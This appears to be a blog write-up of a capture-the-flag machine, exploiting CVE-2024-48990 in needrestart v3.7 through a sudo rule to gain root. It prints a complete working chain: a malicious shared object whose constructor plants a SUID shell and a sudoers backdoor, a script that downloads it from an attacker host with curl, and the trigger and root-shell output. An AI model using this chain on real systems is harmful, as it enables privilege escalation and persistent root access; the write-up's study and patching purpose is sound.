← Back to all writeups

CVE-2024-48990 — Local Privilege Escalation via needrestart

A NOPASSWD sudo rule for needrestart looked harmless until I traced how it inspects running interpreters — a crafted shared object turned that scan into a root shell.

cveneedrestartlinuxprivilege-escalationsudo

Some sudo rules look boring by design. needrestart exists to tell you which services need restarting after a library update — it’s the kind of utility nobody thinks to lock down because it doesn’t look like it does anything dangerous. That’s exactly what made CVE-2024-48990 interesting: the vulnerability wasn’t in what needrestart lets you run, it was in how it decides what to inspect.


The Setup

I had a shell as a low-privilege user, fismathack, on a box called conversor. A quick sudo check showed something worth investigating:

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:/tmp$ /usr/sbin/needrestart -v
[main] needrestart v3.7

Terminal showing sudo -l output with a NOPASSWD rule for /usr/sbin/needrestart, followed by needrestart -v confirming version 3.7

needrestart v3.7 — vulnerable to CVE-2024-48990, one of a batch of local privilege escalation bugs Qualys disclosed in needrestart’s interpreter-scanning logic.


Why needrestart v3.7 Is Exploitable

needrestart’s job is to scan running processes, figure out which ones are using outdated versions of shared libraries or interpreters, and flag them for a restart. To do that for scripting languages, it inspects a running process’s environment — including variables like PYTHONPATH — to work out how to re-invoke that interpreter and check its version.

The bug is that needrestart trusts environment variables it reads out of another process’s context without stripping the ones that control module loading. If an attacker controls a process with a malicious PYTHONPATH pointing at an attacker-writable directory, and needrestart (running as root via the sudo rule, or as part of its normal root-owned service scan) re-invokes a Python interpreter using that same environment to perform its version check, Python will happily import modules from the attacker’s directory first — as root.

That’s the whole bug: a root-privileged process reusing an untrusted PYTHONPATH to decide what code to load.


Exploitation

Step 1 — Build the malicious shared object

The payload is a shared object disguised as a Python package’s compiled extension module, using a GCC constructor so it runs the instant it’s loaded — no function call required:

/* lib.c - malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* Runs automatically when the library is loaded, before any Python code executes */
static void a() __attribute__((constructor));

void a() {
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);

        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}

Compiled and named to match the module Python looks up first:

gcc -shared -fPIC -o __init__.so lib.c

Placed under malicious/importlib/__init__.so, this becomes a fake importlib package. When PYTHONPATH points at the malicious directory, any script that runs import importlib loads this .so first instead of the real standard-library module — and the constructor fires immediately, as whatever UID the importing process is running as.

Step 2 — Host the payload

python3 -m http.server 8000

Python HTTP server logging two GET requests for init.so from the target

Step 3 — Stage the bait on the target

runner.sh sets up the directory structure, pulls down the compiled .so, and starts a small Python loop that waits for the payload to fire:

#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
curl http://10.10.16.44:8000/__init__.so -o /tmp/malicious/importlib/__init__.so

cat << 'EOF' > /tmp/malicious/e.py
import time
import os

while True:
    try:
        import importlib
    except:
        pass

    if os.path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
fismathack@conversor:/tmp$ ./runner.sh
Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell.

Terminal showing runner.sh executing, downloading the payload, and printing the bait-process-running message

That bait loop just sits there, importing importlib repeatedly under a PYTHONPATH that shadows it, waiting for /tmp/poc to appear.

Step 4 — Trigger needrestart

In a second shell:

fismathack@conversor:/tmp$ sudo /usr/sbin/needrestart
Scanning processes...
Scanning candidates...

Terminal showing sudo /usr/sbin/needrestart running its scan output

While scanning running processes for outdated interpreters, needrestart (root) encounters the bait Python process, reuses its PYTHONPATH-influenced environment to check the interpreter, and re-triggers the import importlib path — except this time it resolves against the hijacked __init__.so while running as root. The constructor fires immediately.

Step 5 — Catch the shell

Got shell!, delete traces in /tmp/poc, /tmp/malicious
whoami
root
cd /root
cat root.txt
1e2a670b6d3d3ef0f19ff47f467fb61d

Terminal showing the bait loop detecting /tmp/poc, running whoami as root, and reading root.txt

Root, confirmed.


Why This Works

Three things line up to make this exploitable:

  1. Environment trust boundary violation — needrestart, running as root, reuses environment variables (PYTHONPATH) taken from a lower-privileged process it’s scanning, without sanitizing them first.
  2. Python’s module resolution order — Python searches PYTHONPATH directories before the standard library path for a package named importlib, so a same-named malicious package wins.
  3. Constructor execution — the payload doesn’t need to be explicitly called. A GCC __attribute__((constructor)) function runs the moment the shared object is loaded into the process, so simply importing the poisoned module is enough to execute code — as whatever user loaded it. When that user is root, game over.

The /tmp/poc SUID copy of /bin/sh plus the sudoers backdoor line exist purely as a stable way to re-enter root afterward without repeating the whole chain.


Root Cause

needrestart versions up to 3.7 pass unsanitized environment variables from a scanned process into a new interpreter invocation used purely for a version check — a classic case of trusting environment data that crosses a privilege boundary.

Fix: Upgrade needrestart to a patched version and remove any blanket NOPASSWD sudo rule for it.

sudo apt update && sudo apt install --only-upgrade needrestart

If needrestart must be run via sudo, scope the rule as tightly as possible rather than granting (ALL : ALL) NOPASSWD, and audit which interpreters it’s permitted to scan.


Key Takeaways

  • Always check the version of anything you’re granted NOPASSWD sudo access to — a boring-sounding utility can carry a real CVE
  • Environment variables like PYTHONPATH, RUBYLIB, and LD_PRELOAD are dangerous the moment they cross from an untrusted process into a privileged one
  • A GCC constructor (__attribute__((constructor))) means a malicious shared object executes on load — no explicit function call needed, which makes module-hijacking attacks like this one trivial to trigger
  • Patch management matters even for “helper” utilities that only exist to manage restarts — CVE-2024-48990 turned a maintenance tool into a root shell

Questions? Hit me up on X.